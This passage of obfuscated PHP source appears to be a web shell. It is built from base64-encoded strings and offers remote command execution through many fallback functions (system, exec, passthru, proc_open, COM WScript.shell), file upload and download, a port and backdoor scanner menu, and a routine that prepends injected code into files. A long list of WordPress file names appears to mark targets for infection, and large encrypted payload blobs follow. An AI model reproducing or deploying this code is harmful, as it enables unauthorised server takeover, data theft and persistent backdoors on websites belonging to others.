echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9odHRwZC9jb25mL3BsZXNrLmNvbmYuZC92aG9zdHM=')) . wb('Jz4vZXRjL2h0dHBkL2NvbmYvcGxlc2suY29uZi5kL3Zob3N0czwvb3B0aW9uPg=='); } if ($GNJ[26](wb('L2V0Yy9hcGFjaGUy'))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9hcGFjaGUy')) . wb('Jz4vZXRjL2FwYWNoZTI8L29wdGlvbj4='); } if ($GNJ[26](wb('L2V0Yy9uZ2lueC1zcA=='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9uZ2lueC1zcA==')) . wb('Jz4vZXRjL25naW54LXNwPC9vcHRpb24+'); } if ($GNJ[26](wb('L2V0Yy9hcGFjaGU='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9hcGFjaGU=')) . wb('Jz4vZXRjL2FwYWNoZTwvb3B0aW9uPg=='); } if ($GNJ[26](wb('L3Vzci9sb2NhbC9sc3dz'))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L3Vzci9sb2NhbC9sc3dz')) . wb('Jz4vdXNyL2xvY2FsL2xzd3M8L29wdGlvbj4='); } if ($GNJ[26](wb('IC9ldGMvbmdpbng='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9uZ2lueA==')) . wb('Jz4vZXRjL25naW54PC9vcHRpb24+'); } echo wb('PC9zZWxlY3Q+'); } function ScanMenu($d) { echo wb('PGhyPjxicj48Y2VudGVyPjxoMj5TY2FubmVyIFk8L2gyPjwvY2VudGVyPjxicj48Zm9ybSBtZXRob2Q9J1BPU1QnPiA8Y2VudGVyPiA8ZGl2IGNsYXNzPSdyb3cgY2xlYXJmaXgnPiA8ZGl2IGNsYXNzPSdjb2wtbWQtMyc+IDxhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYWp4JyBocmVmPSc/ZD0=') . hex($d) . wb('Jg==') . hex(wb('cG9ydC1zY2FubmVy')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPlBvcnQgU2Nhbm5lcjwvY2VudGVyPjwvYT4gPC9kaXY+PGRpdiBjbGFzcz0nY29sLW1kLTMnPiA8YSBjbGFzcz0nZm9ybS1jb250cm9sIGFqeCcgaHJlZj0nP2Q9') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnox')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPkJhY2tkb29yIFNjYW5uZXIgMTwvY2VudGVyPjwvYT4gPC9kaXY+PGRpdiBjbGFzcz0nY29sLW1kLTMnPiA8YSBjbGFzcz0nZm9ybS1jb250cm9sIGFqeCcgaHJlZj0nP2Q9') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnoy')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPkJhY2tkb29yIFNjYW5uZXIgMjwvY2VudGVyPjwvYT4gPC9kaXY+PGRpdiBjbGFzcz0nY29sLW1kLTMnPiA8YSBjbGFzcz0nZm9ybS1jb250cm9sIGFqeCcgaHJlZj0nP2Q9') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnoz')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPkJhY2tkb29yIFNjYW5uZXIgMzwvY2VudGVyPjwvYT4gPC9kaXY+PC9kaXY+PC9jZW50ZXI+PC9mb3JtPjxicj4='); } function b64ed($xf) { $_a = wb('Yg=='); $_b = wb('YQ=='); $_c = wb('cw=='); $_d = wb('ZQ=='); $_e = wb('Ng=='); $_f = wb('NA=='); $_g = wb('Xw=='); $_h = wb('ZQ=='); $_i = wb('bg=='); $_j = wb('Yw=='); $_k = wb('bw=='); $_l = wb('ZA=='); $_m = wb('ZQ=='); $b64 = $_a . $_b . $_c . $_d . $_e . $_f . $_g . $_h . $_i . $_j . $_k . $_l . $_m; return $b64($xf); } function b64dd($xf) { $_a = wb('Yg=='); $_b = wb('YQ=='); $_c = wb('cw=='); $_d = wb('ZQ=='); $_e = wb('Ng=='); $_f = wb('NA=='); $_g = wb('Xw=='); $_h = wb('ZA=='); $_i = wb('ZQ=='); $_j = wb('Yw=='); $_k = wb('bw=='); $_l = wb('ZA=='); $_m = wb('ZQ=='); $b64 = $_a . $_b . $_c . $_d . $_e . $_f . $_g . $_h . $_i . $_j . $_k . $_l . $_m; return $b64($xf); } function ex($cmd) { global $GNJ; if (function_exists(wb('c3lzdGVt'))) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists(wb('ZXhlYw=='))) { @exec($cmd, $results); $buff = join(wb('Cg=='), $results); } elseif (function_exists(wb('cGFzc3RocnU='))) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists(wb('c2hlbGxfZXhlYw=='))) { $buff = @shell_exec($cmd); } elseif (function_exists(wb('cHJvY19vcGVu'))) { $desc = array(0 => array(wb('cGlwZQ=='), wb('cg==')), 1 => array(wb('cGlwZQ=='), wb('dw==')), 2 => array(wb('cGlwZQ=='), wb('dw=='))); $handle = proc_open($cmd, $desc, $pipes); if (is_resource($handle)) { if (function_exists(wb('ZnJlYWQ=')) && function_exists(wb('ZmVvZg=='))) { while (!feof($pipes[1])) { $buff .= fread($pipes[1], 512); } } elseif (function_exists(wb('ZmdldHM=')) && function_exists(wb('ZmVvZg=='))) { while (!feof($pipes[1])) { $buff .= fgets($pipes[1], 512); } } } pclose($handle); } elseif (function_exists(wb('cG9wZW4='))) { $handle = popen($cmd, wb('cg==')); if (is_resource($handle)) { if (function_exists(wb('ZnJlYWQ=')) && function_exists(wb('ZmVvZg=='))) { while (!feof($handle)) { $buff .= fread($handle, 512); } } elseif (function_exists(wb('ZmdldHM=')) && function_exists(wb('ZmVvZg=='))) { while (!feof($handle)) { $buff .= fgets($handle, 512); } } } pclose($handle); } $buff = wordwrap($GNJ[15]($buff)); return $buff; } function featureShell($cmd, $cwd) { global $GNJ; $stdout = array(); if (preg_match(wb('L15ccypjZFxzKiQv'), $cmd)) { } elseif (preg_match(wb('L15ccypjZFxzKyguKylccyooMj4mMSk/JC8='), $cmd)) { $GNJ[2]($cwd); preg_match(wb('L15ccypjZFxzKyhbXlxzXSspXHMqKDI+JjEpPyQv'), $cmd, $match); $GNJ[2]($match[1]); } elseif (preg_match(wb('L15ccypkb3dubG9hZFxzK1teXHNdK1xzKigyPiYxKT8kLw=='), $cmd)) { $GNJ[2]($cwd); preg_match(wb('L15ccypkb3dubG9hZFxzKyhbXlxzXSspXHMqKDI+JjEpPyQv'), $cmd, $match); return featureDownload($match[1]); } else { $GNJ[2]($cwd); $pathxr = dirname(__FILE__); if ($GNJ[26]($pathxr . wb('L21hUmk='))) { exec($pathxr . "/maRi '{$cmd}'", $stdout); } elseif ($GNJ[26]($pathxr . wb('L194'))) { exec($pathxr . "/_x '{$cmd}'", $stdout); } else { exec($cmd, $stdout); } } return array(wb('c3Rkb3V0') => $stdout, wb('Y3dk') => $GNJ[3]); } function featurePwd() { return array(wb('Y3dk') => $GNJ[3]); } function featureHint($fileName, $cwd, $type) { global $GNJ; $GNJ[2]($cwd); if ($type == wb('Y21k')) { $cmd = "compgen -c {$fileName}"; } else { $cmd = "compgen -f {$fileName}"; } $cmd = "/bin/bash -c "{$cmd}""; $files = explode(wb('Cg=='), shell_exec($cmd)); return array(wb('ZmlsZXM=') => $files); } function featureDownload($filePath) { global $GNJ; $file = @fgt($filePath); if ($file === false) { return array(wb('c3Rkb3V0') => array(wb('RmlsZSBub3QgZm91bmQgLyBubyByZWFkIHBlcm1pc3Npb24u')), wb('Y3dk') => $GNJ[3]); } else { return array(wb('bmFtZQ==') => basename($filePath), wb('ZmlsZQ==') => base64_encode($file)); } } function featureUpload($path, $file, $cwd) { global $GNJ; $GNJ[2]($cwd); $f = @$GNJ[17]($path, wb('d2I=')); if ($f === false) { return array(wb('c3Rkb3V0') => array(wb('SW52YWxpZCBwYXRoIC8gbm8gd3JpdGUgcGVybWlzc2lvbi4=')), wb('Y3dk') => $GNJ[3]); } else { $GNJ[18]($f, b64dd($file)); $GNJ[19]($f); return array(wb('c3Rkb3V0') => array(wb('RG9uZS4=')), wb('Y3dk') => $GNJ[3]); } } if (isset($_GET[wb('ZmVhdHVyZQ==')])) { $response = NULL; switch ($_GET[wb('ZmVhdHVyZQ==')]) { case wb('c2hlbGw='): $cmd = $_POST[wb('Y21k')]; if (!preg_match(wb('LzI+Lw=='), $cmd)) { $cmd .= wb('IDI+JjE='); } $response = featureShell($cmd, $_POST[wb('Y3dk')]); break; case wb('cHdk'): $response = featurePwd(); break; case wb('aGludA=='): $response = featureHint($_POST[wb('ZmlsZW5hbWU=')], $_POST[wb('Y3dk')], $_POST[wb('dHlwZQ==')]); break; case wb('dXBsb2Fk'): $response = featureUpload($_POST[wb('cGF0aA==')], $_POST[wb('ZmlsZQ==')], $_POST[wb('Y3dk')]); } header(wb('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29u')); echo json_encode($response); die; } $s_win = strtolower($GNJ[22](php_uname(), 0, 3)) == wb('d2lu') ? true : false; $ds = @ini_get(wb('ZGlzYWJsZV9mdW5jdGlvbnM=')); function exe($cmd) { $result = ''; if (!empty($cmd)) { if (is_callable(wb('ZXhlYw=='))) { exec($cmd, $result); $result = join(wb('Cg=='), $result); } elseif (class_exists(wb('Q09N'))) { $dWs = new COM(wb('V1NjcmlwdC5zaGVsbA==')); $exec = $dWs->exec(wb('Y21kLmV4ZSAvYyA=') . $cmd); $stdout = $exec->StdOut(); $result = $stdout->ReadAll(); } elseif (is_callable(wb('c2hlbGxfZXhlYw=='))) { $result = shell_exec($cmd); } elseif (is_callable(wb('c3lzdGVt'))) { @ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean(); } elseif (is_callable(wb('cGFzc3RocnU='))) { @ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean(); } elseif (($result = `{$cmd}`) !== false) { } elseif (is_resource($fp = popen($cmd, wb('cg==')))) { $result = ''; while (!feof($fp)) { $result .= fread($fp, 1024); } pclose($fp); } elseif (class_exists(wb('UmVmbGVjdGlvbkZ1bmN0aW9u'))) { @ob_start(); $function = new ReflectionFunction(wb('c3lzdGVt')); $function->invoke($cmd); $result = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists(wb('Y2FsbF91c2VyX2Z1bmNfYXJyYXk='))) { @ob_start(); $call_user_func_array(wb('c3lzdGVt'), array($cmd)); $result = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists(wb('Y2FsbF91c2VyX2Z1bmM='))) { @ob_start(); call_user_func(wb('c3lzdGVt'), $cmd); $result = @ob_get_contents(); @ob_end_clean(); } } return $result; } function stopmd5() { unset($_SESSION[wb('c2F0aW5nZ2E=')]); } function startmd5() { $_SESSION[wb('c2F0aW5nZ2E=')] = wb('YXBha2F1bGlhdGxpYXRueWV0'); } function strposa($haystack, $needles, $offset = 0) { global $GNJ; foreach ($needles as $needle) { if ($GNJ[30]($haystack, $needle, $offset) !== false) { return true; } } return false; } function prepend($string, $orig_filename) { global $GNJ; $context = stream_context_create(); $orig_file = $GNJ[17]($orig_filename, wb('cg=='), 1, $context); $temp_filename = tempnam(sys_get_temp_dir(), wb('cGhwX3ByZXBlbmRf')); file_put_contents($temp_filename, $string); file_put_contents($temp_filename, $orig_file, FILE_APPEND); $GNJ[19]($orig_file); $GNJ[10]($orig_filename); $GNJ[27]($temp_filename, $orig_filename); echo wb('PGRpdj48c3Ryb25nPg==') . $orig_filename . wb('PC9zdHJvbmc+PHNwYW4gc3R5bGU9ImNvbG9yOnJlZDsiPiB3YXMgaW5qZWN0ZWQ8L3NwYW4+PC9kaXY+'); } function decno($string) { global $GNJ; $key = wb('TUFYSU1fTTg='); $resultdoh = ''; $string = b64dd($string); for ($i = 0; $i < strlen($string); $i++) { $char = $GNJ[22]($string, $i, 1); $keychar = $GNJ[22]($key, $i % strlen($key) - 3, 1); $char = chr(ord($char) - ord($keychar)); $resultdoh .= $char; } return $resultdoh; } $enx0 = array(wb('ZWRpdC1mb3JtLWFkdmFuY2VkLnBocA=='), wb('bGluay1wYXJzZS1vcG1sLnBocA=='), wb('bXMtc2l0ZXMucGhw'), wb('b3B0aW9ucy13cml0aW5nLnBocA=='), wb('dGhlbWVzLnBocA=='), wb('aHR0cHMucGhw'), wb('Y2xhc3MtaHR0cHMucGhw'), wb('YWRtaW4tYWpheC5waHA='), wb('ZWRpdC1mb3JtLWNvbW1lbnQucGhw'), wb('bGluay5waHA='), wb('bXMtdGhlbWVzLnBocA=='), wb('X0RvY3VtZW50LnBocA=='), wb('cGx1Z2luLWVkaXRvci5waHA='), wb('YWRtaW4tZm9vdGVyLnBocA=='), wb('ZWRpdC1saW5rLWZvcm0ucGhw'), wb('cmVnaXN0cmF0aW9uLWZ1bmN0aW9ucy5waHA='), wb('bG9hZC1zY3JpcHRzLnBocA=='), wb('bXMtdXBncmFkZS1uZXR3b3JrLnBocA=='), wb('YWRtaW4tZnVuY3Rpb25zLnBocA=='), wb('ZWRpdC5waHA='), wb('bG9hZC1zdHlsZXMucGhw'), wb('bXMtdXNlcnMucGhw'), wb('cGx1Z2lucy5waHA='), wb('YWRtaW4taGVhZGVyLnBocA=='), wb('bGljZW5zZXMucGhw'), wb('ZWRpdC10YWctZm9ybS5waHA='), wb('bWVkaWEtbmV3LnBocA=='), wb('bXktc2l0ZXMucGhw'), wb('YXBwcy5waHA='), wb('cG9zdC1uZXcucGhw'), wb('dXBncmFkZS10aGVtZXMucGhw'), wb('c2FuZHdpY2gucGhw'), wb('ZWRpdC10YWdzLnBocA=='), wb('bm9vcC5waHA='), wb('bWVkaWEucGhw'), wb('bmF2LW1lbnVzLnBocA=='), wb('cG9zdHMucGhw'), wb('YWRtaW4tcG9zdC5waHA='), wb('ZXhwb3J0LnBocA=='), wb('Tm90ZS5waHA='), wb('bWVkaWEtdXBsb2FkLnBocA=='), wb('bmV0d29yay5waHA='), wb('cHJlc3MtdGhpcy5waHA='), wb('dXBsb2FkLnBocA=='), wb('YXN5bmMtdXBsb2FkLnBocA=='), wb('bWVudS1oZWFkZXIucGhw'), wb('b3B0aW9ucy1kaXNjdXNzaW9uLnBocA=='), wb('cHJpdmFjeS5waHA='), wb('dXNlci1lZGl0LnBocA=='), wb('bWVudS5waHA='), wb('b3B0aW9ucy1nZW5lcmFsLnBocA=='), wb('cHJvZmlsZS5waHA='), wb('dXNlci1uZXcucGhw'), wb('bW9kZXJhdGlvbi5waHA='), wb('b3B0aW9ucy1oZWFkLnBocA=='), wb('cmV2aXNpb24ucGhw'), wb('dXNlcnMucGhw'), wb('Y3VzdG9tLWJhY2tncm91bmQucGhw'), wb('bXMtYWRtaW4ucGhw'), wb('b3B0aW9ucy1tZWRpYS5waHA='), wb('c2V0dXAtY29uZmlnLnBocA=='), wb('d2lkZ2V0cy5waHA='), wb('dGhlbWUtc2luZ2xlLnBocA=='), wb('Y3VzdG9tLWhlYWRlci5waHA='), wb('bXMtZGVsZXRlLXNpdGUucGhw'), wb('b3B0aW9ucy1wZXJtYWxpbmsucGhw'), wb('dGVybS5waHA='), wb('Y3VzdG9taXplLnBocA=='), wb('bGluay1hZGQucGhw'), wb('bXMtZWRpdC5waHA='), wb('b3B0aW9ucy5waHA='), wb('ZWRpdC1jb21tZW50cy5waHA='), wb('bGluay1tYW5hZ2VyLnBocA=='), wb('bXMtb3B0aW9ucy5waHA='), wb('b3B0aW9ucy1yZWFkaW5nLnBocA=='), wb('eG1scnBjLnBocA=='), wb('Y29tbWVudHMucGhw'), wb('ZnJvbnQtcGFnZS5waHA='), wb('aG9tZS5waHA='), wb('LmRlZmF1bHQucGhw'), wb('aGVhZGVyLnBocA=='), wb('c2luZ3VsYXIucGhw'), wb('c2luZ2xlLnBocA=='), wb('c2luZ2xlLXdvcmRwcmVzcy5waHA='), wb('cGFnZS5waHA='), wb('Y2F0ZWdvcnkucGhw'), wb('dGFnLnBocA=='), wb('dGF4b25vbXkucGhw'), wb('YXV0aG9yLnBocA=='), wb('ZGF0ZS5waHA='), wb('YXJjaGl2ZS5waHA='), wb('c2VhcmNoLnBocA=='), wb('YXR0YWNobWVudC5waHA='), wb('aW1hZ2UucGhw'), wb('NDA0LnBocA=='), wb('aHR0cHMucGhw'), wb('bm9vcC5waHA='), wb('a2F5ZWxpLnBocA=='), wb('RG9jdW1lbnQucGhw'), wb('Y2xhc3Mtd3AtY3VzdG9taXplLW5hdi1tZW51LWN1c3RvbWl6ZS5waHA='), wb('Tm90ZS5waHA='), wb('LmRlZmF1bHQucGhw'), wb('X0RvY3VtZW50LnBocA=='), wb('Zm9vdGVyX2JhY2t1cC5waHA='), wb('aGVhZGVyX2JhY2t1cC5waHA='), wb('YXBwcy5waHA='), wb('bGljZW5zZXMucGhw'), wb('aW5kZXgucGhw'), wb('cmVtb3ZlLnBocA=='), wb('bmdpbngtc2Vydi5waHA='), wb('bWF3ZXMucGhw'), wb('cmV0YS5waHA=')); $enx1 = array(wb('aHR0cHMucGhw'), wb('bm9vcC5waHA='), wb('a2F5ZWxpLnBocA=='), wb('RG9jdW1lbnQucGhw'), wb('cmV0YS5waHA='), wb('bWF3ZXMucGhw'), wb('Tm90ZS5waHA='), wb('LmRlZmF1bHQucGhw'), wb('X0RvY3VtZW50LnBocA=='), wb('Zm9vdGVyX2JhY2t1cC5waHA='), wb('aGVhZGVyX2JhY2t1cC5waHA='), wb('YXBwcy5waHA='), wb('bGljZW5zZXMucGhw'), wb('cmVtb3ZlLnBocA=='), wb('bmdpbngtc2Vydi5waHA='), wb('aW5kZXgucGhw')); $eft0 = array(wb('bGFuZ3VhZ2U='), wb('aG9va3M='), wb('aW1hZ2Vz'), wb('YWRtaW5z'), wb('bWF3ZXM='), wb('a2F5ZWxp'), wb('cmV0YQ=='), wb('c2FrYWk='), wb('SGVscA=='), wb('ZG9jdW1lbnRz'), wb('Z2l0a2VlcA=='), wb('Z2l0aWdub3Jl')); $itemsxz = array(decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3hMS3d4THVyc3JTR3Vidkc=')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3U3V3Uwc0JseExHRnJNTFN3YWU2cXRLdWVzMnVybnF1dmJmQ2pMQ3R3TFhIdHJiWnNtYTlyNzg9')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3ByakJ4SHVvdTZnPQ==')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3k3NjkwYkptdmErLw==')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3lxckVrSHVvc2FjPQ==')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3lxckVrWHVvc2FjPQ==')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3VibTkwbnVvdTZnPQ==')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd2lubC9rWHVjdktUUQ==')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3pudDhsWU51ZTZYSHJNVT0=')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3pudDh4cmxtc2JDN3dRPT0='))); $sox = wb('alZWaGE5c3dFUDBycWpIRUJyZE5zbjJLOGFDMDNSaURGdEtPZmRpR1VleHpMV0pMbmlRdmJVUCsrMDZTSFdkWm1neENMSi91bnQ2N081MzlyR3o1TWxYc0ZaTEorL0U0OWxlU2FVaHB3dHVxaW4yUVVzanRteXFocXBKUnkya041SnpHWkJVVGxzZmtjc0g0cFNySk9SdkZmazZoRmp4QnFCd1c3Uk11V0JFVUxjODBFenlGWjZhMENrWk54bldWRmtJdVIyRzQ5aHVXSjRNcENFMk1OU2JuazNEZFNNWTEwNEYzTzUvZnoyZmttdktSSnNiVEMyTkUxTUVrakRkZFNMaTJsckd6TkVLeDUxU0JWaXdQd24wNG82Nkg2MzEySVhzeGszZ0RsWUloOHR2Vi9PN3ozYWNaK1VoWkJUblJnamhYcHVDQ2tNZVNLWUsvWHkwbWsyU2l4aDFDZVU2NFFONVUwK29Dajlsa1pjNWs0RjNpdXEycFdoclN2aExaTWluTXYyaUFCejVySXI4UlVrZW1HRnpZaDlJeWVqZTJXVHF6QVR1aXVuMFNPUDg5UGFBeXlSb3RwR29nUzZpVTlDVVlKeC9jd210WUExN2tTUytNSnZ2R0ZScW5CNHhJdVpFaUE2VVM4MHdkYTlzcTBkNTVLQVREbE9QTlZDcEJpVlptRVBRSTRWdTFWZzFkY1dKQmQvV2dUcUMxS1crNnFEQU5qRDhGN296djQ1OFJKdWlJdytTVXcvUnRCNU55czdrbCs5Qm1obitCMStTRm1BeGdUMGo0RFZLQlkyMDZCRXM1czZWRUNhc1Mrd1kxck0zbEFGRTR6QVA2SDJ4MEpqZ0hlNE9JQmxrelRqWGtDTE5BY2t2YjZBNmtsL1ltVUpmb2d5ZytQbks4N0s3RVR1U1FyRzFXc09DOHJkT3NwUHdKOHRTNDRkVkp0b21xa0dqUVlVWDlQSW42VVJLWlVXSTdnUEgwcjVOY1JHaFQ0bVpIT09UMy92b0xtZDllM1NCYm4vR20xVWxoL1B2WVlZeTUwWEVnZkVaY0lDSVVsdFJPcDdnZE56RUdXb1AwbzlRZWIrNi9QaDRtTnlDY0ltaEJEbEIwOG83UW01Nm1odzF3ak43MHYrZ2h5RWw2bXlLcmhPck02TlM5OVduZXQweitzWmptc2tPa3QzWmpJZTYvSDZTbjVHTzc0Vlcwa3MrNk1kMzF2TmZ0L2VBZVV2b0Q='); $local = wb('M1Z0N2M5dEdrdjk3djhVRXF6T0JGUWtTeEVzaVJYcjlVSFpkY2V5VTVFM2RycWh6Z2NCQWhBVUNDQUJLbEVYZVo3L3Vuc0dERW0wNXlWM3U2bHloT0pqcDZlbnAvdlZqQnN6SjgyeVJzVVZaWmg5elhtUnBVdkNQZmhwdzFScFkycGhkcFdYS3pzclZpemRqOW1udDN2NWp4TUpWNHBkUm1yQXNqNUx5YlhvVkpXdFZZL2VNKzR1VUtiTzE2Yy9XUTJObURLeloyZ3JoWTg3V3RqVXpUQU8rQjlCdnp5ejRndWJhQlJJbmdEWjhtM3hHajBjend3RnEyNGEyMys1ZU85Z0ZUR0RZZGJBWGlRekxsbndNd2RhaFpqMWtCak5yQ0N5SDBCMUNsL2ltR2E2SlF6Z0pSY1JSbUl5TDQwcFZteVp3ZUhUaFk0aHVTNUNzM2FNWlNDNVhSWXExNDBoS1MwaFBTN25JQkNRbXpaQ294L1NOVkNpajJBeE9vNDBiVWdhL0dzUjV4SFFnSkxPRURsQTFPSVI3b2tWUkxQZTQ3a2VkZ1NhQWdXRTR6YTZIYUFJcHJtdUx6Y0ZNR2dwcEVkU3hWUHNlYVFWN2ErWU02QXQydjdhNFVKK3p5OTV3QkhzeW1HQXZHQmx5cDBLTnRXWk13UUczSURlUHFrVktGMmNNaEQ1c01va3JoREZjaVNJVTNVSUc0ck1lRHNYR2FUWGFJODUzQkZZTTA1UUl3SzNWZkVYVElFbkV4NVZxRzVLS0ROTVcrMFBnSURkWEtBY2xwUDBNWmk3aGFXME9aN0FVYWdoWm9vem12QVk5Z1F1RmNtc25nR25JR09ldFRTRUlna3ZPV2pzQ25oV2lFTXpWREZjd0lZWlNKeWc1RGpsRDJnMnB4VFpwUGRxSk5IeU5aTk9yOVN5bkNIMlpRZzUwSnZJZU1ZWDBKbmRUQVkrR3BVR3dMVGc2MG1qQWhQaWIwa1g4V211MUVvOTJObEFyeTI2dDd0YVdYQStER2p1R1ZVa2tsaHpPeU14Q2ZaV1pKS2tyMmhWWFcwRGJzRnpCVlhBUXVtN2NuOXFvYjFPYTNwWUJMcFFha3Voc1hGbGdlVUR3RzFxMXlZVzFoakplR2RJNWJJbFlHVkNFVHRZb29nMmtodFVZR1MzcG1FSkV2dVBOZGRDcExDUTFhOHVORFNzZEhFbGZObXQ3VkFaRHNlVkc3VHJleUUxUWlISEVmZ1l5OGpqdHNHQkljUEtXWG4zU2lnaU9NakxMbU9IVUlVTUFVVDQ2RXRsTlFMSUd0VXowc1FWOHJZSDBTNlBhU1cwdXk5eUphaUo0MlRTcjBxNVFSZ081Q2tlV0RDTklTdkhuV0tyU3JYMERPWk14aE0ycVdZNEFwU1VTRzFuWXFYTE1rSktnaU0ybWxDc1FDSkR5VmVzQ2VSMGVqRHBvQ2wrcHBTTkh0K1NqM05NK0pBMTUyNFF5bEl0UVUrZWhLb21JcEZIQlVnUlBhV2x5SThlUTJmR29RYkhkSU1kd0d1U1FiaTBSMjYyQnduUjI4UEg4OU96bjA3TUxxQXFzSTFFRm9Fc1FFN0MyQVJNTVVNNlFLZ1RsRXFZb2dnM0JXcXB3SHp1YVlrazNHVHBDOTlCR3RsUmtFRnNjcTlsV1hrc2hVV0w0OGNiWHg2UXN5NVNRNGNMNGxyMnJQS2NSejVaSlFSWWNsYXNKOTdPcUFvUVNBVm5Fck11S0tuL0xza0pFZmJ0T28rME1SY0kwbkVSWWxLbU9Vb0FySVdGUjZ2dGlJVlNwOGZ6OHpmdDNhQlpuTHZPb0lYUHBVVzBHV1JvWmRkb1VCVlFWeGdNcGlkOHF3Y1F5T0ZXQTNxSGdKSk14NlhVbzVLeEtGREpJRmI2RU1wdHF5REozZktVeXd1N2txcTRUY2JpWi9MaThWTVlzaVBpWWJVVlYrOHVWay80eVp2KzYvdUhtNTFaVmU4VVRubnNsUC9PU0lGMmVsMURrWHFrSE1VK3V5Z1diTUdPQXBlNkJ2L0J5enk5NVhrQ2ZRbkhORUduZkZJRU9zcjh6ZytpQk1kU1EzamFrN0ZKWGo0N1QxQUNVRUQxaERsdEkzWVQ1QWJtNWlFMm1UTlEydVI2Rk1pd1VBQ1lHaFJ1Z3c2dzhNR1g5YlZNMXRzWWtoeDVvQVowQmZLdzVmTUJ5aGszRm9YQVg5RHREdXBRcFBSWGRDdWFqUmszMFdwRFQ5a0NUTFEyOHJYUlRsRG5vU1cwTndRbmlJRzhwRW9nNm5URUwwNXlwQnhFOERZQWdZaWRNS2hpZkRnOUp3enZUOUVsN3dRc2NVd2ZkUFVMMG1LRmRvb2x6WHE3eVpKZE5iWG82eVl6RnVXYkVDbDRVWVBtUFJlbmxwVm9kZWdnWFkrWTcvL3o4cnhHTFFxYnlaVmJlcVErOVI1UVd3bnZnbzF4cUpQNDF2MXV2MTdERHZYaEN2YlQ0R0ZWRTNmSENTY1dsbHZ1SDA3dmlkQ3lRTzJJSDNxcGNmTXk4b3JBSmhHdFRnb3krcXdCbXlveGlTd0NpS3h3MWxXYWR6ZEYxQVNTbUkrYWpzYzJLaHlISFhEbFBBSm5HelVIRG4raWQxa2ZTRWk5SGtZb2xqWTdGWGtaeWk3alhCL3A0cEZjNS9mMzg5WnRzTEw3MjI2VlllSWE2REd5MW5TK01BYVVma1lKRStrR0hRT0JUUHNNOEFaYlRwVURDaXNnOUtncGVBcXVmM3A5L3VLZ0dHUmlUdGRiWkdkVFlaTkkyRHVIaHE5S1JKRU9SSERGN1ZkTGg4Vm02NHE1MG9LOHlYMUVzNDNIQllZR2R3M2dkNkxZOHo5TWNUdlpabXBjSXZJRTJEbmdZSlZ4VkNoNkhTaGR4WXgrZEZLdHNLZzJQQnJOTyt0aWphT09Ed24rTjZDcGFVS3FLaytOY0dSK0VQZ3g3ZWU3ZHFZbzdjSTdjZ1IyNnRzTWR3d2tjR3hjUXZhN2oyTzdRTloxakozUTQ5anN1OUZpTzZicU9SYyttYytSWXpyRTdGTFBjb1dNN0xuQXpnWU1QL1lJSzRoeU1HTzZ4SFNLMUEvK28vOWcxUlkrWUw1OGRvUENGSEtMSGRXRTI4QUw1aGc5R2NEMklyanNqY2o3SzdYcXl6M1JDa082NFBRNHIyZTRSOG5FdDE5d2RBVnJZSjFDWXVITlkyY2EvRDZtRU5yNUFGVGp6bG1aUXpyWitjYzBoekFoZDFJZnNCWjFiMFBaSmU3YURlamRnSmRReGFsRHdoYjNpU20xSm5LRG1vdTJMMUg2NlNzQWZRbDlyQmV2UXZ6aUlFSlhKWXEzS0p3MEIyUGFndjUxK3VGQ3lLa0JtRlhYVGoyQzZNQy9WQjkzYXVFSTVUVUtpNGFXS3ZYWFNYbkNZQWVrSE9CL2tDRmRsL0ZqeUtqMGhYUzA3a0VOeUNiaVBMTkk4b0dFU0h4YW9rMGg3TFpKdWR5M01YdEJTMnl1d25xSHRFUUpKcVhrNFlVTmc4U2NoZ0wvSVZaQUE1S2dGMEdYajBFQlovclJmbUl6bnl3STBYcXMwakdKZWQ0NUoveW9NUEdPRDlhdkJZRUN4cVdyZU14S3RVM1NraHR2VUx4cHEwYndYeFBFKzRxT0crS2hOM050SDdEVEVUcHQ0dm8vWWFvaXRObkd3ajNqWUVBL2J4UDQrWXFNaE5xUTZwRDZ5VGl1d3lyNFY5VUViakZXekdCZzQ3em5yNUIwMnd0MkNuUjZTREk0RXllMVhTQ3dpYVRxT0pOdUM1cXc3R253OUhqMnZPTzVqT1h4YU1PTnB3UVpIdTRKWlh4WE0raGJCQnRZRHdSNHBGWVIvV2pCalY3Q2hYTHJjSzFnMStxRVJyQzRRSTdScjdVK2VlckFzcnFDeUxFcXM3QTFveGFsUFhvNEF1WXJUdVJlRHA0MlJ3aXRYU0tTcWdockljUldsV1Br